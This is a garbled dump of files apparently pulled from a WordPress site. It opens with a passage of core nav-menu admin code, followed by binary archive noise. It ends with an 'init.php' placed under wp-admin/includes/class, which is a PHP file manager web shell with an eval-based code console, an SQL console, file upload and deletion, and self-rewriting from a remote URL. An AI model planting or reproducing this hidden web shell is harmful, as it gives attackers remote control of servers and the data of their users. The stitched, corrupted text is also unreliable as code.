other menu items. * @param array $args An array of `WP_Query` arguments. * @param WP_Post_Type $post_type The current post type object for this menu item meta box. */ $posts = apply_filters( "nav_menu_items_{$post_type_name}", $posts, $args, $post_type ); $checkbox_items = walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $posts ), 0, (object) $args ); echo $checkbox_items; ?>

id="" class="select-all" /> class="button submit-add-to-menu right" value="" name="add-post-type-menu-item" id="" />

name; $taxonomy = get_taxonomy( $taxonomy_name ); $tab_name = $taxonomy_name . '-tab'; // Paginate browsing for large numbers of objects. $per_page = 50; $pagenum = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1; $offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0; $args = array( 'taxonomy' => $taxonomy_name, 'child_of' => 0, 'exclude' => '', 'hide_empty' => false, 'hierarchical' => 1, 'include' => '', 'number' => $per_page, 'offset' => $offset, 'order' => 'ASC', 'orderby' => 'name', 'pad_counts' => false, ); $terms = get_terms( $args ); if ( ! $terms || is_wp_error( $terms ) ) { echo '

' . __( 'No items.' ) . '

'; return; } $num_pages = ceil( wp_count_terms( array_merge( $args, array( 'number' => '', 'offset' => '', ) ) ) / $per_page ); $page_links = paginate_links( array( 'base' => add_query_arg( array( $tab_name => 'all', 'paged' => '%#%', 'item-type' => 'taxonomy', 'item-object' => $taxonomy_name, ) ), 'format' => '', 'prev_text' => '' . __( '«' ) . '', 'next_text' => '' . __( '»' ) . '', 'before_page_number' => '' . __( 'Page' ) . ' ', 'total' => $num_pages, 'current' => $pagenum, ) ); $db_fields = false; if ( is_taxonomy_hierarchical( $taxonomy_name ) ) { $db_fields = array( 'parent' => 'parent', 'id' => 'term_id', ); } $walker = new Walker_Nav_Menu_Checklist( $db_fields ); $current_tab = 'most-used'; if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'most-used', 'search' ), true ) ) { $current_tab = $_REQUEST[ $tab_name ]; } if ( ! empty( $_REQUEST[ 'quick-search-taxonomy-' . $taxonomy_name ] ) ) { $current_tab = 'search'; } $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); $most_used_url = ''; $view_all_url = ''; $search_url = ''; if ( $nav_menu_selected_id ) { $most_used_url = esc_url( add_query_arg( $tab_name, 'most-used', remove_query_arg( $removed_args ) ) ); $view_all_url = esc_url( add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) ) ); $search_url = esc_url( add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) ) ); } ?>
    $taxonomy_name, 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false, ) ); $args['walker'] = $walker; echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $popular_terms ), 0, (object) $args ); ?>
$taxonomy_name, 'name__like' => $searched, 'fields' => 'all', 'orderby' => 'count', 'order' => 'DESC', 'hierarchical' => false, ) ); } else { $searched = ''; $search_results = array(); } ?>

'submit-quick-search-taxonomy-' . $taxonomy_name ) ); ?>

  • get_error_message(); ?>

id="" class="select-all" /> class="button submit-add-to-menu right" value="" name="add-taxonomy-menu-item" id="" />

$_item_object_data ) { if ( // Checkbox is not checked. empty( $_item_object_data['menu-item-object-id'] ) && ( // And item type either isn't set. ! isset( $_item_object_data['menu-item-type'] ) || // Or URL is the default. in_array( $_item_object_data['menu-item-url'], array( 'https://', 'http://', '' ), true ) || // Or it's not a custom menu item (but not the custom home page). ! ( 'custom' === $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) || // Or it *is* a custom menu item that already exists. ! empty( $_item_object_data['menu-item-db-id'] ) ) ) { // Then this potential menu item is not getting added to this menu. continue; } // If this possible menu item doesn't actually have a menu database ID yet. if ( empty( $_item_object_data['menu-item-db-id'] ) || ( 0 > $_possible_db_id ) || $_possible_db_id != $_item_object_data['menu-item-db-id'] ) { $_actual_db_id = 0; } else { $_actual_db_id = (int) $_item_object_data['menu-item-db-id']; } $args = array( 'menu-item-db-id' => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ), 'menu-item-object-id' => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ), 'menu-item-object' => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ), 'menu-item-parent-id' => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ), 'menu-item-position' => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ), 'menu-item-type' => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ), 'menu-item-title' => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ), 'menu-item-url' => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ), 'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ), 'menu-item-attr-title' => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ), 'menu-item-target' => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ), 'menu-item-classes' => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ), 'menu-item-xfn' => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ), ); $items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args ); } } return $items_saved; } /** * Adds custom arguments to some of the meta box object types. * * @since 3.0.0 * * @access private * * @param object $data_object The post type or taxonomy meta-object. * @return object The post type or taxonomy object. */ function _wp_nav_menu_meta_box_object( $data_object = null ) { if ( isset( $data_object->name ) ) { if ( 'page' === $data_object->name ) { $data_object->_default_query = array( 'orderby' => 'menu_order title', 'post_status' => 'publish', ); // Posts should show only published items. } elseif ( 'post' === $data_object->name ) { $data_object->_default_query = array( 'post_status' => 'publish', ); // Categories should be in reverse chronological order. } elseif ( 'category' === $data_object->name ) { $data_object->_default_query = array( 'orderby' => 'id', 'order' => 'DESC', ); // Custom post types should show only published items. } else { $data_object->_default_query = array( 'post_status' => 'publish', ); } } return $data_object; } /** * Returns the menu formatted to edit. * * @since 3.0.0 * * @param int $menu_id Optional. The ID of the menu to format. Default 0. * @return string|WP_Error The menu formatted to edit or error object on failure. */ function wp_get_nav_menu_to_edit( $menu_id = 0 ) { $menu = wp_get_nav_menu_object( $menu_id ); // If the menu exists, get its items. if ( is_nav_menu( $menu ) ) { $menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'post_status' => 'any' ) ); $result = '
' : '">'; $result .= '

' . __( 'Add menu items from the column on the left.' ) . '

'; $result .= '
'; if ( empty( $menu_items ) ) { return $result . ' '; } /** * Filters the Walker class used when adding nav menu items. * * @since 3.0.0 * * @param string $class The walker class to use. Default 'Walker_Nav_Menu_Edit'. * @param int $menu_id ID of the menu being rendered. */ $walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id ); if ( class_exists( $walker_class_name ) ) { $walker = new $walker_class_name; } else { return new WP_Error( 'menu_walker_not_exist', sprintf( /* translators: %s: Walker class name. */ __( 'The Walker class named %s does not exist.' ), '' . $walker_class_name . '' ) ); } $some_pending_menu_items = false; $some_invalid_menu_items = false; foreach ( (array) $menu_items as $menu_item ) { if ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) { $some_pending_menu_items = true; } if ( ! empty( $menu_item->_invalid ) ) { $some_invalid_menu_items = true; } } if ( $some_pending_menu_items ) { $result .= '

' . __( 'Click Save Menu to make pending menu items public.' ) . '

'; } if ( $some_invalid_menu_items ) { $result .= '

' . __( 'There are some invalid menu items. Please check or delete them.' ) . '

'; } $result .= ' '; return $result; } elseif ( is_wp_error( $menu ) ) { return $menu; } } /** * Returns the columns for the nav menus page. * * @since 3.0.0 * * @return string[] Array of column titles keyed by their column name. */ function wp_nav_menu_manage_columns() { return array( '_title' => __( 'Show advanced menu properties' ), 'cb' => '', 'link-target' => __( 'Link Target' ), 'title-attribute' => __( 'Title Attribute' ), 'css-classes' => __( 'CSS Classes' ), 'xfn' => __( 'Link Relationship (XFN)' ), 'description' => __( 'Description' ), ); } /** * Deletes orphaned draft menu items * * @access private * @since 3.0.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function _wp_delete_orphaned_draft_menu_items() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); // Delete orphaned draft menu items. $menu_items_to_delete = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts AS p LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id WHERE post_type = 'nav_menu_item' AND post_status = 'draft' AND meta_key = '_menu_item_orphaned' AND meta_value < %d", $delete_timestamp ) ); foreach ( (array) $menu_items_to_delete as $menu_item_id ) { wp_delete_post( $menu_item_id, true ); } } /** * Saves nav menu items * * @since 3.6.0 * * @param int|string $nav_menu_selected_id ID, slug, or name of the currently-selected menu. * @param string $nav_menu_selected_title Title of the currently-selected menu. * @return array The menu updated message */ function wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ) { $unsorted_menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'orderby' => 'ID', 'output' => ARRAY_A, 'output_key' => 'ID', 'post_status' => 'draft,publish', ) ); $messages = array(); $menu_items = array(); // Index menu items by DB ID. foreach ( $unsorted_menu_items as $_item ) { $menu_items[ $_item->db_id ] = $_item; } $post_fields = array( 'menu-item-db-id', 'menu-item-object-id', 'menu-item-object', 'menu-item-parent-id', 'menu-item-position', 'menu-item-type', 'menu-item-title', 'menu-item-url', 'menu-item-description', 'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn', ); wp_defer_term_counting( true ); // Loop through all the menu items' POST variables. if ( ! empty( $_POST['menu-item-db-id'] ) ) { foreach ( (array) $_POST['menu-item-db-id'] as $_key => $k ) { // Menu item title can't be blank. if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' === $_POST['menu-item-title'][ $_key ] ) { continue; } $args = array(); foreach ( $post_fields as $field ) { $args[ $field ] = isset( $_POST[ $field ][ $_key ] ) ? $_POST[ $field ][ $_key ] : ''; } $menu_item_db_id = wp_update_nav_menu_item( $nav_menu_selected_id, ( $_POST['menu-item-db-id'][ $_key ] != $_key ? 0 : $_key ), $args ); if ( is_wp_error( $menu_item_db_id ) ) { $messages[] = '

' . $menu_item_db_id->get_error_message() . '

'; } else { unset( $menu_items[ $menu_item_db_id ] ); } } } // Remove menu items from the menu that weren't in $_POST. if ( ! empty( $menu_items ) ) { foreach ( array_keys( $menu_items ) as $menu_item_id ) { if ( is_nav_menu_item( $menu_item_id ) ) { wp_delete_post( $menu_item_id ); } } } // Store 'auto-add' pages. $auto_add = ! empty( $_POST['auto-add-pages'] ); $nav_menu_option = (array) get_option( 'nav_menu_options' ); if ( ! isset( $nav_menu_option['auto_add'] ) ) { $nav_menu_option['auto_add'] = array(); } if ( $auto_add ) { if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'], true ) ) { $nav_menu_option['auto_add'][] = $nav_menu_selected_id; } } else { $key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'], true ); if ( false !== $key ) { unset( $nav_menu_option['auto_add'][ $key ] ); } } // Remove non-existent/deleted menus. $nav_menu_option['auto_add'] = array_intersect( $nav_menu_option['auto_add'], wp_get_nav_menus( array( 'fields' => 'ids' ) ) ); update_option( 'nav_menu_options', $nav_menu_option ); wp_defer_term_counting( false ); /** This action is documented in wp-includes/nav-menu.php */ do_action( 'wp_update_nav_menu', $nav_menu_selected_id ); $messages[] = '

' . sprintf( /* translators: %s: Nav menu title. */ __( '%s has been updated.' ), '' . $nav_menu_selected_title . '' ) . '

'; unset( $menu_items, $unsorted_menu_items ); return $messages; } /** * If a JSON blob of navigation menu data is in POST data, expand it and inject * it into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134. * * @ignore * @since 4.5.3 * @access private */ function _wp_expand_nav_menu_post_data() { if ( ! isset( $_POST['nav-menu-data'] ) ) { return; } $data = json_decode( stripslashes( $_POST['nav-menu-data'] ) ); if ( ! is_null( $data ) && $data ) { foreach ( $data as $post_input_data ) { // For input names that are arrays (e.g. `menu-item-db-id[3][4][5]`), // derive the array path keys via regex and set the value in $_POST. preg_match( '#([^\[]*)(\[(.+)\])?#', $post_input_data->name, $matches ); $array_bits = array( $matches[1] ); if ( isset( $matches[3] ) ) { $array_bits = array_merge( $array_bits, explode( '][', $matches[3] ) ); } $new_post_data = array(); // Build the new array value from leaf to trunk. for ( $i = count( $array_bits ) - 1; $i >= 0; $i-- ) { if ( count( $array_bits ) - 1 == $i ) { $new_post_data[ $array_bits[ $i ] ] = wp_slash( $post_input_data->value ); } else { $new_post_data = array( $array_bits[ $i ] => $new_post_data ); } } $_POST = array_replace_recursive( $_POST, $new_post_data ); } } } class-wp-plugins-list-table.php.php.tar.gz000064400000023361152377531730014537 0ustar00=kwH5=>YuH;0<Pl%bK^I&o$3wwo|f-uWWuWUWWWWϳeu?qMj}H\.VhL$.ֳ؟.b}x希d5_s>mwwp绻÷߽sn-.(& ?¸Z=Tq4գgۣ:W!"&XU4mώ^~9*Qd)~7;{W78ZLJER͒bΓT>eX@ aCx"5v~Kh:*O>EelJ1jI$.?q:+Zd`<Αb)u׫\7&X M4OQl^X%'*)qL-#u-XeYRwgge<-n`h(w-3|=- }X{pI%i%1fI^*O8"; `H߀.ׅ*fύph \z<P:_4<,䇡O2xF)Νsdz,Q:DʚMѡ $\'ER 3F9v|I,?HL-buxPQ(\)׭C#}4obcֆT\%,Ԅ,"[G-ޢkEmz6K׫Mn֟Ae1welڭ5@kFcVy4Zk]&aE<2o #fbhV#S׀ *P"Ie46B`2&,$fg|MqJuäJ̵{K[,t)IcTd_f tji&66j۩l89m+=yT ted,c汎2 [*Medk̂m ]2Bǡ=1aBVȚ74fP5N57{8`<97j,A dYN۬}'SZOOrzU-' xk6)jB=Jiﭮ-E`'\@ U52(22EE)mƳtqn/gI9\ @kO1 T磡MK4+q^HEp'yT8*F۬y;"ǭ9&= dj6R+(G>=WK3T7oJ9 =nkXc.Un PXMW,cMXӧ>{zO^ _ Z cwhD`gE!9 [+W8﫧=rcp8>qZa!#t}5֍Adhʉ}=e9o'# +/W+Ƣ|E3l Ɣ%6iMx,`98S$@8=B%##atO?ol4 ?`ziv@쑽G<Fd$Ϣ<&!Ԅ U`k>< Bvkkg4> tTPׇ;qAë7) ü\M˸(t}xWl8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;\Ȗ| Dx{ɡKX+5ɷI&J(OHM#yN-7MLc)a0PifAR^pS/i,'P\,I]ʱuڎS4#%D~OָgF qr.Oʍ7 d^Toj`Ien9',uh[&6'-s{y8vn^ZށٝIYk4V A7 f)g:mؿV. Sk W0 :_nqZc<\Q\mߟ@init.php.tar000064400000275000152377531730007026 0ustar00home/quizenacom/public_html/wp-admin/includes/class/init.php000064400000271417152377520720020302 0ustar00 true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '